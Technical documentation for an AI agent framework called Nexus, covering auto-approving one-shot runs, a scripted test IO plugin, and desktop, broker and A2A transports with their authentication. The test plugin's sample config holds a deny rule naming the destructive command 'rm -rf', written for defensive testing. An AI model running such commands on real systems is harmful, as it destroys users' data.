Every auto-approval is recorded in the approvals array of the transcript so callers can audit what happened.
⚠️ Because every approval is granted, be deliberate about which tools you make available under this profile. Avoid enabling destructive shell commands or filesystem writes outside a sandbox unless you trust the prompt source.
JSON transcript schema
The root document is tagged with schema: "nexus.oneshot.transcript/v1".
| Field | Type | Description |
|---|---|---|
schema | string | Always nexus.oneshot.transcript/v1 |
session_id | string | Nexus session ID (matches ~/.nexus/sessions/<id>/) |
started_at / ended_at | RFC3339 timestamp | Lifetime of the run |
duration_ms | number | Wall-clock duration |
final_output | string | Final assistant message text |
plans | array | plan.created events (full plan snapshots) |
plan_updates | array | agent.plan events (step status transitions) |
thinking | array | thinking.step events (reasoning trace) |
approvals | array | Auto-approved tool / plan / ask requests |
errors | array | core.error events and error-role io.output messages |
Every array field is omitted from the JSON when empty.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.output | 50 | Capture final assistant text and error messages |
io.approval.request | 10 | Auto-approve tool call approvals |
plan.approval.request | 10 | Auto-approve plan approvals |
io.ask | 10 | Auto-respond with an empty answer |
plan.created | 50 | Record generated plans in the transcript |
agent.plan | 50 | Record plan status updates |
thinking.step | 50 | Record reasoning trace |
agent.turn.start / agent.turn.end | 50 | Detect when the single turn has completed |
core.error | 50 | Record errors in the transcript |
The approval / ask handlers subscribe at priority 10 so they run before any other plugin’s handlers and respond immediately.
Emits
| Event | When |
|---|---|
io.input | Once during Ready, with the resolved prompt |
io.approval.response | Auto-approval for a tool call |
plan.approval.response | Auto-approval for a plan |
io.ask.response | Auto-response for an ask prompt |
io.session.start | On Ready |
io.session.end | After the final JSON transcript has been flushed |
Lifecycle
Initwires subscriptions and reads config.Readyemitsio.session.start, resolves the prompt, then emitsio.inputon a new goroutine so the engine’s main loop can install its signal + session-end handlers.- The agent runs its turn. Any approval or ask prompts are auto-handled.
- When
agent.turn.endbrings the turn depth back to zero, the plugin builds the JSON transcript, writes it to stdout (andoutput_fileif set), then emitsio.session.endto trigger engine shutdown. Shutdownis idempotent — if the run was terminated by a signal before the turn completed, it still flushes whatever was captured.
Sample profiles
Two profiles ship with Nexus:
configs/oneshot.yaml— minimal ReAct loop with conversation memory.configs/oneshot-planned.yaml— adds the dynamic planner withapproval: alwaysto exercise the auto-approval path end-to-end.
Test IO (nexus.io.test)
Non-interactive IO plugin for automated integration testing. Replaces nexus.io.tui in test configurations to drive sessions programmatically.
Purpose
The test IO plugin feeds scripted inputs into the engine, collects all bus events during execution, and handles approval requests automatically. Used alongside pkg/testharness for Go integration tests.
Configuration
plugins:
active:
- nexus.io.test
# ... other plugins
nexus.io.test:
inputs: # scripted user messages (in order)
- "Hello, who are you?"
- "List files in current directory."
input_delay: 500ms # delay between inputs (default: 500ms)
approval_mode: approve # approve | deny | per-prompt (default: approve)
approval_rules: # only when approval_mode: per-prompt
- match: "shell" # substring match on tool call or description
action: approve
- match: "rm -rf"
action: deny
ask_responses: # canned answers for io.ask events
- "yes"
hitl_responses: # canned answers for hitl.requested events
- "staging"
hitl_auto_respond: true # answer hitl.requested at all (default: true)
mock_responses: # synthetic LLM responses (no real API calls)
- content: "Hello! I'm a test assistant."
- content: "Here are the files: main.go, go.mod"
timeout: 60s # max session duration (default: 60s)
Approval Modes
| Mode | Behavior |
|---|---|
approve | Auto-approve all approval requests |
deny | Auto-deny all approval requests |
per-prompt | Match against approval_rules, approve if no rule matches |
Mock Responses
When mock_responses is configured, the plugin intercepts before:llm.request (at priority 20, after gates at priority 10) and injects synthetic llm.response events instead of letting requests reach the real LLM provider. No API key needed, millisecond execution.
Gates still fire first — a stop words gate can veto a request before the mock ever sees it. Responses are consumed in order; the last one repeats for any remaining requests.
Mock responses can include tool calls for testing tool execution flows:
mock_responses:
- content: ""
tool_calls:
- name: shell
arguments: '{"command": "ls"}'
- content: "Done listing files."
Human-in-the-loop Answers
Every hitl.requested — ask_user, an approval-policy gate, a remote A2A agent
parking at INPUT_REQUIRED — is answered automatically. The answer is the next
hitl_responses entry (a bare string is free_text; a
{choice_id: ..., free_text: ...} map sets either field), else the request’s own
default_choice_id, else an empty answer. The last entry repeats.
Set hitl_auto_respond: false to answer nothing. The question is still
collected for assertions, but the plugin that asked it stays blocked, so a test
can hand ownership of the answer to something else: another transport, a
subscription in the test body, or — as in
tests/integration/a2a_loopback_test.go — a second engine’s human. Without it a
question can never be observed outstanding, because this plugin settles it inside
the same dispatch.
Session Ending
io.session.end is emitted when the last scripted input’s turn completes, when
timeout elapses, or when a turn is still in flight three seconds after the
last input was sent — the stalled-turn detector, which exists so a permanently
vetoed turn does not hang until the global timeout. That three-second cutoff is
not configurable, so a test whose turn legitimately waits longer (a delegation
parked on a human, say) must arrange for the wait to end inside it.
Input Feeding
Inputs are sent sequentially. The plugin waits for the agent to become idle (turn depth returns to zero) before sending the next input. After all inputs are sent and the final turn completes, the plugin emits io.session.end.
Ask Responses
When the agent emits io.ask events, the plugin responds with canned answers from ask_responses in order. The last response in the list repeats for any remaining asks. If ask_responses is empty, an empty string is returned.
Event Collection
The plugin subscribes to all bus events via SubscribeAll and stores them in an ordered slice. After the session ends, collected events are accessible via the Collected() method for test assertions.
Integration with Test Harness
The test IO plugin is designed to work with pkg/testharness:
h := testharness.New(t, "configs/test-minimal.yaml")
h.Run() // boots engine, feeds inputs, waits for completion
h.AssertEventEmitted("io.output") // check collected events
h.AssertNoSystemOutput() // no gate vetoes
See the Integration Testing guide for full usage.
Subscriptions
| Event | Purpose |
|---|---|
io.approval.request | Auto-respond per approval config |
plan.approval.request | Auto-respond per approval config |
io.ask | Respond with canned answers |
hitl.requested | Respond per hitl_responses / hitl_auto_respond |
agent.turn.start | Track turn depth for input pacing |
agent.turn.end | Detect idle state, trigger next input or session end |
* (wildcard) | Collect all events for assertions |
Emissions
| Event | When |
|---|---|
io.session.start | On Ready() |
io.input | For each scripted input |
io.approval.response | In response to approval requests |
plan.approval.response | In response to plan approval requests |
io.ask.response | In response to ask events |
hitl.responded | In response to hitl.requested, unless hitl_auto_respond: false |
io.session.end | After all inputs processed or timeout |
Wails Desktop IO
A Wails-native IO transport for embedding Nexus inside a desktop webview
shell. Unlike nexus.io.browser, which is a session-scoped dev-mode
transport owned by the stock nexus binary, nexus.io.wails is
process-scoped and owned by a host Wails application.
Nexus does not take a build-time dependency on
github.com/wailsapp/wails/v2/pkg/runtime. The plugin defines a small
Runtime interface and the downstream Wails app hands in a wrapper
around runtime.EventsEmit / runtime.EventsOn before calling
engine.Boot.
Details
| ID | nexus.io.wails |
| Dependencies | None |
| Status | Production (config-driven event bridging, multi-agent scoping) |
Configuration
The plugin supports two modes:
Legacy mode (no config keys): falls back to hardcoded chat-event
subscriptions (io.output, io.input, etc.) for backward compatibility.
Config-driven mode: explicit subscribe and accept lists control
which events are bridged:
plugins:
nexus.io.wails:
# Events bridged outbound: bus → frontend
subscribe:
- "match.result"
- "hello.response"
- "ui.state.restore"
- "io.file.selected"
- "session.file.created"
# Events accepted inbound: frontend → bus
accept:
- "match.request"
- "hello.request"
- "ui.state.save"
- "io.file.selected"
Events
In config-driven mode, the plugin bridges whatever events are listed in
subscribe (outbound: Go → JS) and accept (inbound: JS → Go). Custom
domain events use a generic passthrough handler. The existing typed
handlers (handleOutput, handleStreamChunk, etc.) remain for chat
events that need special mapping.
Architecture
- Hub — A single-client transport wrapper holding the
Runtimeimplementation installed by the embedder. No fanout, no client map, no lifecycle — a Wails app has exactly one attached webview for its process lifetime. - Adapter — Implements
ui.UIAdapterby marshaling outbound messages intoui.Envelopeand callingHub.BroadcastEnvelope, which in turn callsRuntime.EmitEvent("nexus", envelopeJSON). - Plugin — Wiring layer that subscribes to configured events and translates inbound events from the webview onto the Nexus bus.
The Runtime interface is deliberately minimal:
type Runtime interface {
EmitEvent(name string, optionalData ...any)
OnEvent(name string, callback func(optionalData ...any))
}
Multi-agent scoping
When a desktop shell runs multiple agent engines, the shell provides
a scoped Runtime adapter per agent. The scoped runtime prepends
the agent ID to event channels:
- Outbound:
"{agentID}:nexus"instead of"nexus" - Inbound:
"{agentID}:nexus.input"instead of"nexus.input"
The plugin itself is unaware of scoping — it talks to its Runtime,
and the Runtime implementation handles the namespace. No plugin
changes needed for multi-agent.
Using pkg/desktop/ (recommended)
Full documentation: See the Desktop Shell section for architecture details, a step-by-step build guide, and the complete API reference.
The desktop shell framework in pkg/desktop/ handles all the
boilerplate of embedding Nexus in a Wails app. Each agent is
registered with its config YAML and plugin factories:
desktop.Run(&desktop.Shell{
Title: "My App",
Width: 900,
Height: 720,
Assets: assets,
Agents: []desktop.Agent{{
ID: "my-agent",
Name: "My Agent",
ConfigYAML: configYAML,
Factories: map[string]func() engine.Plugin{
"nexus.io.wails": wailsio.New,
"my.custom.plugin": myplugin.New,
},
}},
})
The shell handles:
- Per-agent engine lifecycle (lazy boot on first selection)
- Scoped
Runtimeadapters for multi-agent event isolation - Singleton-factory registration for the wails plugin
- Shell services (file dialogs, OS notifications, etc.)
- Left-nav navigation for multi-agent apps
- Settings UI with agent-contributed schemas, keychain secrets, and
${var}config injection - Session history: per-agent session list, recall, new session, cleanup
See cmd/desktop/ for the reference multi-agent app.
Agent-contributed settings
Agents declare configurable fields via Settings []SettingsField on the
Agent struct. The shell renders a settings UI from the schema, persists
values to ~/.nexus/desktop/settings.json (plaintext) and the OS
keychain (secrets), and resolves ${var} placeholders in the agent’s
ConfigYAML before engine creation.
desktop.Agent{
ID: "my-agent",
ConfigYAML: configYAML, // contains ${shell.anthropic_api_key}, ${data_dir}
Settings: []desktop.SettingsField{
{
Key: "shell.anthropic_api_key",
Display: "Anthropic API Key",
Type: desktop.FieldString,
Secret: true,
Required: true,
},
{
Key: "data_dir",
Display: "Data Folder",
Type: desktop.FieldPath,
Required: true,
},
},
}
Scope fallback: Settings keys prefixed with shell. are stored in
shell scope and shared across agents. During resolution, the shell
checks agent scope first, then falls back to shell scope. This means
an API key entered once under “shell” is available to all agents.
Required field gating: If an agent has required settings with no value and no default, the shell refuses to boot the engine and redirects the user to the settings page with missing fields highlighted.
Session history
The shell tracks session history per agent in
~/.nexus/desktop/sessions.json. Each engine boot creates a new session
entry; agents contribute metadata via bus events:
session.meta.title— Human-readable session title (e.g. “Match: Senior Go Engineer”). Emitted by the agent plugin after a meaningful action completes.session.meta.preview— Agent-specific summary data for the session list (e.g.{ candidateCount: 5, topCandidate: "Jane" }).session.meta.status— Explicit status change (e.g.{ status: "completed" }). Also inferred fromio.session.end.
The shell subscribes to these events on the engine’s bus after boot and
updates the session index. The frontend receives updates via
{agentID}:sessions.updated Wails events.
Session lifecycle:
- New session:
Shell.NewSession(agentID)stops the current engine and boots a fresh one. - Recall:
Shell.RecallSession(agentID, sessionID)stops the current engine, creates a new one withRecallSessionIDset, and boots it. The engine replays conversation history viaio.history.replay. - Delete:
Shell.DeleteSession(agentID, sessionID)removes the session from the index and deletes the engine session directory. - Cleanup: On startup, the shell removes sessions older than the configured retention period (default 30 days) and reconciles orphaned engine directories.
UI state persistence
The shell provides a framework-agnostic mechanism for frontends to persist and restore UI state across sessions via two bus events:
-
ui.state.save(inbound: frontend → bus) — The frontend emits this event with an opaque{ state: { ... } }payload whenever it wants to checkpoint its UI state. The shell writes the payload toui-state.jsonin the engine session directory (~/.nexus/sessions/<id>/ui-state.json). -
ui.state.restore(outbound: bus → frontend) — On session recall, after the engine boots, the shell readsui-state.json(if it exists) and emits this event onto the bus. The frontend listens for it and rehydrates its state from the payload.
Both events must be included in the wails IO plugin’s config-driven
accept and subscribe lists:
plugins:
nexus.io.wails:
subscribe:
- "ui.state.restore"
accept:
- "ui.state.save"
The payload structure is entirely up to the frontend — the shell treats it as an opaque JSON blob. This means the mechanism works regardless of whether the frontend uses Alpine.js, React, vanilla JS, or any other framework.
File portal
The desktop shell provides a file portal layer that gives agents a
consistent way to access files without navigating the raw filesystem.
Agents declare input_dir and output_dir settings; the shell uses
these to root file dialogs, list directory contents, and provide a
file browser panel.
Shell-bound methods:
ListFiles(agentID, filter)— Non-recursive listing of the agent’sinput_dir, filtered by glob pattern.OutputDir(agentID)— Resolve and create the agent’soutput_dir.CopyFileToInputDir(agentID, sourcePath)— Copy a file into the agent’sinput_dir(used for drag-and-drop).WatchInputDir(agentID)— Start fsnotify watcher, emits{agentID}:files.changedon file create/remove/rename.
Bus events:
| Event | Direction | Purpose |
|---|---|---|
io.file.open.request | Plugin → shell | Request a file dialog (existing) |
io.file.open.response | Shell → plugin | File dialog result (existing) |
io.file.output_dir.request | Plugin → shell | Ask where to write outputs |
io.file.output_dir.response | Shell → plugin | Output directory path |
io.file.selected | Shell → plugin | User selected a file in the browser panel |
session.file.created | Plugin → shell | Agent wrote an output file (existing) |
Directory resolution priority:
- Agent-scoped
input_dirsetting - Shell-scoped
shared_data_dirsetting - User’s
~/Documentsdirectory
File browser panel (frontend):
The reference desktop app includes a right-side collapsible file
browser panel that shows the active agent’s input_dir contents. It
supports click-to-select (emits io.file.selected), open in default
app, reveal in finder, and drag-and-drop file import from the OS.
The panel auto-refreshes via fsnotify when files change on disk.
Manual embedding (advanced)
If you need more control than pkg/desktop/ provides:
1. Singleton-factory registration
p := wailsio.New().(*wailsio.Plugin)
eng.Registry.Register("nexus.io.wails", func() engine.Plugin { return p })
2. Install runtime before boot
p.Hub().SetRuntime(&wailsRuntime{ctx: ctx})
eng.Boot(ctx)
3. Frontend bus helper
const bus = createBus('my-agent');
bus.on('my.response', (data) => { /* handle */ });
bus.emit('my.request', { /* payload */ });
const result = await bus.call('my.request', 'my.response', payload);
Known gotchas
- Factory-per-boot: Always use a singleton factory closure for the
Wails plugin.
LifecycleManager.Bootcalls factories once per boot. - Boot ordering:
SetRuntimemust happen beforeBoot. OnStartuptiming: the webview may not be fully attached the instantOnStartupfires. If you see dropped events during the first tick, deferBootone event loop iteration.- Do not call
eng.Run: Embedders must useBoot/Stopdirectly.Runinstalls its own signal handler, which conflicts with Wails.
Broker IO (dial-back transport)
nexus.io.broker is the IO transport for Nexus instances spawned by the
session broker (cmd/nexus-broker).
Unlike every other IO transport, this plugin dials out instead of
listening. nexus.io.tui, nexus.io.browser, and nexus.io.realtime all open
a listening socket and wait for a client to connect. The broker plugin does the
opposite: when an instance boots, the plugin dials back to the broker’s
instance gateway over a single WebSocket. The broker is the only listening
socket in the system — there is no per-instance loopback port to allocate or
firewall.
You normally never configure this plugin by hand. The broker injects its config via environment variables when it spawns an instance, and the plugin reads them on boot. It is included for completeness and for anyone embedding the broker protocol in a custom host.
Details
| ID | nexus.io.broker |
| Dependencies | None |
| Spawned by | cmd/nexus-broker (one instance per lease) |
| Listens? | No — it dials out to the broker gateway |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
broker_addr | string | $NEXUS_BROKER_ADDR | WebSocket URL of the broker’s instance dial-back endpoint, e.g. ws://127.0.0.1:8080/instance. Falls back to the NEXUS_BROKER_ADDR env var (injected by the broker at spawn). When empty the plugin stays dormant — it does not dial and the engine still boots cleanly. |
lease_id | string | $NEXUS_BROKER_LEASE_ID | Lease id the broker assigned to this instance; echoed in the register frame so the gateway can bind this socket to the lease. Falls back to the NEXUS_BROKER_LEASE_ID env var. When empty the plugin stays dormant. |
spawn_secret | string | $NEXUS_BROKER_SPAWN_SECRET | Per-spawn secret the broker generated for this instance and injected at exec; echoed in the register frame alongside lease_id so the gateway can prove this process is one it spawned. Falls back to the NEXUS_BROKER_SPAWN_SECRET env var. Empty does not make the plugin dormant — it dials and is refused — because “no secret” is a diagnosable failure at the broker, not a reason to stay silent. Every broker requires it, with or without an auth: block. |
Config keys take precedence over the environment variables. The reference table above is canonical; see the Configuration Reference.
How it works
On Ready (after the engine is fully up), the plugin:
- Dials
broker_addrover WebSocket usinggithub.com/coder/websocket. - Registers by sending a
registerframe keyed bylease_idand carryingspawn_secret— this MUST be the first frame so the gateway can bind the socket to the lease. The secret rides on this frame and no other: every later frame is forwarded verbatim to the connected client. - Announces readiness with a
readyframe. The broker’sPOST /claimhandler is blocked on exactly this signal before it returns to the caller. - Reports the session id with a
session-id-reportframe so the broker can persist the engine-generated session id for a later-recallresume. - Bridges IO in both directions for the rest of the session.
If the connection drops, the plugin reconnects with exponential backoff
(250 ms → 5 s) until shutdown. That loop is also what makes broker restart
recovery work: a broker configured with a state_dir restores this instance’s
lease at boot and accepts the re-registration, so a surviving instance rejoins
with no plugin configuration and no client involvement. See
Surviving a restart.
Output is buffered across a reconnect
Everything the instance emits while that socket is down is held, not dropped.
The reason is the backoff above. A broker restart puts the instance into the reconnect loop for anywhere from 250 ms to several seconds, and the agent keeps running throughout — so the window in which reattach is supposed to be seamless is exactly the window in which output is produced with nowhere to go. Outbound frames used to be written inline and discarded when the write failed, which lost them on the instance side, before the broker had ever seen them and therefore out of reach of the broker’s own client replay buffer.
How it behaves:
| Bound | 1 MiB per instance, fixed (not configurable) |
| Measured in | bytes, not frames |
| Eviction | oldest first |
| On overflow | a WARN naming dropped_frames, dropped_bytes and limit_bytes, rate-limited to one per second with cumulative counts |
| Flushed | after the register / ready / session-id-report handshake of the next session |
The bound is in bytes because outbound payloads span orders of magnitude — a
token delta is a few bytes, a tool result is tens of kilobytes — so a frame count
says nothing about how much memory a disconnected instance can pin. 1 MiB holds
many seconds of streaming for a chatty agent and still holds several whole tool
results for one that only emits large frames; it is the same figure as the
broker’s per-lease client_replay_buffer_bytes default, so the two halves of one
stream pin comparable memory. Oldest-first eviction keeps the most recent tail,
which is the part a client reattaching after a gap actually needs. A single frame
larger than the whole bound is not retained at all — the alternative is a bound
one big tool result can breach.
The flush happens after the handshake, never before it: a buffered frame that
overtook the register frame would reach a broker that has not yet bound the
socket to the lease. A single write pump drains the buffer oldest-first, which is
also what makes emission order the wire order however many bus handlers are
producing at once, and a frame is removed from the buffer only once it has been
written — a write that fails on a dying socket leaves it at the head for the next
session.
SendIO never touches the socket. Bus dispatch is synchronous, so it runs on the
goroutine producing the agent’s output; enqueuing under a short-lived lock keeps
a slow or dead link from stalling the agent.
Two cases deliberately do not buffer:
- A dormant plugin (no
broker_addror nolease_id) never dials, so its output is dropped atDEBUGexactly as before rather than pinning a megabyte for a link that is not coming up. - Shutdown flushes on a bound, not on a promise.
Shutdowngives the write pump up to 2 seconds to drain a live socket — so the last output before a locally initiated shutdown still reaches the broker — and skips the wait entirely when nothing is connected. A non-empty buffer can never turn a graceful shutdown into a hang. (On the broker-initiated path theshutdownframe has already ended the session, so there is no socket left to flush to.)
The dial-back socket is probed, not assumed live
The reconnect loop above only helps once the instance knows the link is gone,
and a half-open TCP connection does not announce itself: a host that slept, moved
network, or had its flow dropped by a NAT leaves a socket that is still open, still
accepts writes, and never delivers another byte. Left undetected, an instance in
that state fills its 1 MiB outbound buffer against a socket nobody will ever
drain — evicting its own oldest frames — while the write pump sits happily in a
Write the kernel accepts.
So the plugin pings the broker every 15 seconds and drops the dial-back socket once the broker has answered nothing for 45 seconds (three consecutive probes), which unwinds the session and redials through the usual backoff. The outbound buffer is untouched by the teardown, so whatever was pending goes out after the next handshake. The broker probes in the other direction on the same cadence — see Detecting a dead socket.
Three properties are worth stating:
- The deadline is three intervals, not one. A single unanswered ping proves very little (a GC pause, a saturated uplink, a broker mid-compaction), and on this side a needless reconnect is not free — it replays the handshake and re-flushes the buffer. Sustained silence is the trigger, not a hiccup.
- An idle link is never dropped. A ping is answered by the broker’s WebSocket
stack whether or not anyone is typing, so an instance parked in a long tool
call, or one whose user stepped away, survives indefinitely. A timeout on
Readwould tear such links down at exactly the moments they are most expensive to lose, which is why the probe is a ping. - No wire change. Ping and pong are RFC 6455 control frames, not
brokerframesignals: no new signal, no version bump, and nothing that can skew against an older broker. There is no configuration key — the interval and deadline are constants.
Outbound (engine bus → broker → client)
These engine events are forwarded as IO messages inside broker frames:
| Bus event | IO message type |
|---|---|
io.output | output |
llm.stream.chunk | stream.delta |
llm.stream.end | stream.end |
io.status | status |
io.approval.request | approval.request |
hitl.requested | hitl.request |
cancel.complete | cancel.complete |
Output already delivered as stream.delta chunks is not re-sent as a final
output message (the plugin skips io.output events flagged streamed).
A hitl.request carries the question’s mode and choices alongside its
prompt, spelled exactly as nexus.io.browser spells them. A responder answers
a multiple-choice question with a choice_id, so a payload carrying only the
prompt gives it no way to learn what the ids are. Both fields are omitempty, so
a free-text question’s payload is byte-identical to one with no options at all —
a consumer that ignores them behaves exactly as it did before they existed.
The broker itself is now a second reader of this envelope: its
A2A ingress
decodes these payloads to drive A2A tasks. A field added here must be mirrored
in cmd/nexus-broker, and a test enforces that (it parses this plugin’s source
and fails if the two declarations disagree).
Inbound (client → broker → engine bus)
Inbound IO messages are decoded and injected onto the bus:
IO message type | Bus event |
|---|---|
input | before:io.input (vetoable) → io.input |
approval.response | io.approval.response |
hitl.response | hitl.responded |
cancel | cancel.request |
io.input is emitted from a goroutine (not the read pump) because bus dispatch
is synchronous and an agent loop may block waiting on a HITL response — the same
pattern nexus.io.browser and nexus.io.realtime use.
Graceful shutdown
When the broker tears a lease down (manual POST /release, idle, or crash
handling) it sends a shutdown frame. The plugin then:
- latches its reconnect loop off so the teardown is not undone by a retry, and
- emits
io.session.end, which drives a clean engineStopthat flushes and persists the session before the process exits.
The plugin never hard-exits mid-write; the engine owns teardown ordering. The
broker bounds how long it waits for the process (release_grace) and then
escalates: SIGTERM to the instance’s process group — which the engine also
handles as a clean shutdown, and which is the only teardown request an instance
whose socket has died ever receives — and SIGKILL to the same group a fixed 2s
later. Signalling the group is what takes the instance’s own subprocesses with
it; see the guide.
Anything still in the outbound buffer is flushed on a bound rather than waited out — see Output is buffered across a reconnect.
Security
The plugin makes no authorization decisions. It presents the credentials the broker handed it and the broker gateway decides; there is nothing here to configure or bypass.
The spawn secret
The register frame carries a second factor beside the lease id. The lease
id alone is a poor authenticator for the dial-back socket: the same value appears
in ws_urls, client requests and logs, so anything that observes one could
otherwise impersonate an instance. The broker records the expected value on the
lease and injects it through the child’s environment — never argv, which is
world-readable via ps and /proc. Both values must match or the gateway closes
the socket with the same policy violation close an unknown lease gets.
How the broker produces the value depends on whether it keeps state, and the plugin cannot tell the difference — it echoes whatever it was given:
- No
state_dir— 128 bits ofcrypto/randper spawn, held only in memory. state_dirset — derived asHMAC-SHA256(<state_dir>/spawn-key, lease_id), so a restarted broker can recompute the value this instance is still holding and let it reattach. The secret itself is still never written to disk.
Enforcement is decided entirely by the broker, and it is unconditional: the
secret is required on every registration — with an auth: block or without one,
on a freshly claimed lease or on one restored after a broker restart. That block
configures how clients are verified; it never described what the broker should
believe about an unverified dialer.
Breaking change. Enforcement used to be gated on the broker having an
auth:block, so anexusbinary predating the protocol kept registering on an unauthenticated broker. It no longer does, and dropping theauth:block is no longer a workaround. Upgrade the instance binary.
Alongside the secret, the broker validates the register frame’s schema
version against its own and refuses a mismatch. Both failures are WARNs that
name their own fix, because the symptom otherwise looks like a network fault:
claims time out with instance did not become ready in time while the child is
alive and connecting fine.
Reattaching to a lease restored after a broker restart is the case where this
matters most. The broker only knows that the recorded pid is alive, and a pid can
be recycled to an unrelated process while the broker is down; the secret is the
only thing that distinguishes the genuine instance. An instance binary too old to
send one cannot reattach and its lease is reaped after reattach_window.
The plugin never logs the secret. Its init record carries a
spawn_secret_present boolean instead, which is what you want when diagnosing a
refused registration: it answers whether the value ever reached the process.
See the session broker guide for the full list of broker-level limitations.
Example configuration
You rarely write this by hand — the broker injects both values as environment variables at spawn. When you do set them explicitly:
nexus.io.broker:
broker_addr: "ws://127.0.0.1:8080/instance"
lease_id: "lease-abc123"
spawn_secret: "9d4e7a10c3b28f56ae0192b3c4d5e6f7" # only a broker can mint a usable one
Omit broker_addr and lease_id (or leave their env vars unset) and the plugin
stays dormant, so a config that activates the plugin outside a broker still boots
without error. spawn_secret does not affect dormancy, but omitting it means
every registration is refused: no broker accepts a register frame without one.
See also
- Session Broker guide — running the broker, the HTTP API, and the new-vs-resume flow.
- Configuration Reference.
A2A serve transport
nexus.io.a2a exposes a Nexus instance as an Agent2Agent
(A2A) agent. It stands up one HTTP listener
carrying three surfaces:
| Surface | Path | Purpose |
|---|---|---|
| Discovery | GET /.well-known/agent-card.json | The Agent Card: who this agent is, where its bindings live, and how to authenticate. |
| JSON-RPC 2.0 binding | POST <jsonrpc_path> (default /a2a) | A2A specification §9. |
| HTTP+JSON/REST binding | <rest_prefix>/… (default /a2a/v1) | A2A specification §11. |
The wire format is entirely pkg/a2a,
Nexus’s hand-rolled A2A codec targeting specification 1.0.x. This plugin
contributes the listener, the credential guard, the card assembly and the
routing.
It is the A2A sibling of nexus.io.agui and inherits that
plugin’s exemption from the browser/wails transport parity rule: an external
interop transport is not a Nexus UI, so nothing here is back-ported into
nexus.io.browser or nexus.io.wails.
Current maturity
Every A2A operation outside the push-notification family is wired.
SendMessageandSendStreamingMessagedrive a real Nexus turn, every task they create is persisted durably in a principal-scoped, session-scoped SQLite store,GetTask,ListTasksandSubscribeToTaskread it back, a human-in-the-loop question parks the task atINPUT_REQUIREDand is resumed by a message naming the sametaskId, andCancelTasksettles a task atCANCELED. A turn publishes its answer, its structured output, every tool result and every file it wrote as Artifacts, and the Nexus telemetry extension is declared and honoured.
The Agent Card reports this rather than advertising an intention:
capabilities.streaming, pushNotifications and extendedAgentCard are all
derived from the set of operations the plugin actually implements. Wiring an
operation flips its capability in the same edit, so the card and the behaviour
cannot disagree. A2A declares no capability boolean for cancellation — it is
part of the core task surface — so the card’s honest statement there is simply
that CancelTask dispatches instead of refusing.
Task store
Every task is recorded in <session>/plugins/nexus.io.a2a/store.db, opened
through the engine’s per-plugin storage
capability at session scope. The record carries the task id, its contextId,
the current state and timestamp, the full status history, the artifacts, message
references for both sides of the exchange, and the authenticated Principal
that created it. The task row is written before the turn is allowed to
start, and every transition is written through as the frame reporting it is
queued for the wire, so the store never lags what a client has been told.
Reads are principal-scoped by construction: the store hands out a view bound to
one Principal and every statement on that view names principal_id. There is
no unscoped query in the API, so enumerating another principal’s tasks is not an
expression the package can form.
Retention (tasks.ttl, tasks.max_per_context) is documented in the
configuration reference.
Reading tasks back
| Operation | JSON-RPC | REST |
|---|---|---|
GetTask | {"method":"GetTask","params":{"id":"…"}} | GET <rest_prefix>/tasks/{id} |
ListTasks | {"method":"ListTasks","params":{…}} | GET <rest_prefix>/tasks?… |
SubscribeToTask | {"method":"SubscribeToTask","params":{"id":"…"}} | POST <rest_prefix>/tasks/{id}:subscribe |
GetTask returns the task with its status, its artifacts and its history.
History is the trail of message references the store retained, rendered as
text messages — the client-assigned messageId, the role and the text that
travelled — not a replay of Nexus’s own conversation buffer. Because this
transport accepts text parts only and emits text artifacts only, that rendering
is lossless for everything the agent can currently say or hear.
configuration.historyLength is honoured: unset keeps everything retained, 0
omits history, and N keeps the most recent N messages.
ListTasks pages the caller’s own tasks, newest first, and supports every
filter the specification defines: contextId, status, statusTimestampAfter
(inclusive), historyLength and includeArtifacts. Artifacts are off by
default to keep a page small, which is the specification’s own default;
history is not, so pass historyLength=0 for a compact listing. pageSize defaults to 50 and is bounded to
1–100. The nextPageToken is a keyset cursor over (created_at, rowid),
not an offset: a task created or evicted while a client is paging cannot make it
skip or repeat a row. A token this server did not mint is an
InvalidParamsError rather than a silent restart from the top.
SubscribeToTask attaches an SSE stream to an existing task and always
opens with the task’s current state, so a client that joined mid-turn learns
what it missed before it sees anything new. If the task is live, the subscriber
joins the run’s fan-out and receives exactly the frames every other attached
stream receives. If it is already terminal, the opening snapshot carries the
terminal state and the stream closes at once rather than hanging. A task that is
neither gets its snapshot and then a close, because nothing will ever update it
again — though a task this process was serving when it last stopped is settled at
FAILED on open, so its snapshot names a real ending rather than a stale
WORKING.
Task ownership is not enumerable
Every read goes through the store’s principal-scoped view. A task belonging to
another principal answers exactly as an id nobody ever minted does: the same
TaskNotFoundError, the same HTTP 404, the same body, from the same single
indexed lookup. There is no “exists but is not yours” response, because that
would be an existence oracle for task ids the caller was never told — the same
reasoning behind the session broker’s errTicketRejected.
With no auth: block configured every caller is unauthenticated and shares one
partition, which is another reason the listener binds loopback by default.
Details
| ID | nexus.io.a2a |
| Dependencies | None |
| Requires | None |
| Subscriptions | agent.turn.start, agent.turn.end, llm.request, llm.response, io.output, core.error, hitl.requested, hitl.responded, tool.invoke, tool.result, thinking.step, subagent.started, subagent.iteration, subagent.complete |
| Emissions | before:io.input, io.input, hitl.responded, hitl.cancel, cancel.request |
| Listens? | Yes — loopback by default (127.0.0.1:8091) |
How a message becomes a turn
SendMessage / SendStreamingMessage
└─ message.parts (text) ──▶ before:io.input ──▶ io.input
│
Task SUBMITTED ◀── the request was accepted │
Task WORKING ◀── agent.turn.start ▼
Artifact (tool) ◀── tool.result the agent runs
Artifact (file) ◀── a path a tool.result named
metadata (ext) ◀── thinking.step / tool.invoke / subagent.* / usage
Artifact (text) ◀── io.output / llm.response
Task COMPLETED ◀── agent.turn.end
Task FAILED ◀── core.error (fatal or retries exhausted)
One call is one Task is one turn. SendMessage blocks until that task is
terminal and returns the finished Task — A2A’s default (§3.2.2) —
while SendStreamingMessage writes the same frames as SSE and closes the stream
the moment a frame reports a terminal state. Both bindings render from one
translation, so they cannot report different outcomes for the same turn.
The turn’s final assistant text is published as an Artifact carrying a text
Part. It is taken from io.output rather than straight from the model, so
whatever the output gates actually let through is what the client receives. What
else a turn publishes is covered in What a turn
publishes below.
Refusals worth knowing about, each carrying the error type the specification
reserves for it: a non-text Part (ContentTypeNotSupportedError), an inline
taskPushNotificationConfig (PushNotificationNotSupportedError), and a
genuinely concurrent second task while one is in flight
(UnsupportedOperationError — the listener fronts one agent loop, and two turns
would interleave on the same bus).
configuration.returnImmediately is honoured, and a message naming a taskId
is a continuation rather than a refusal; both are covered below.
What a turn publishes
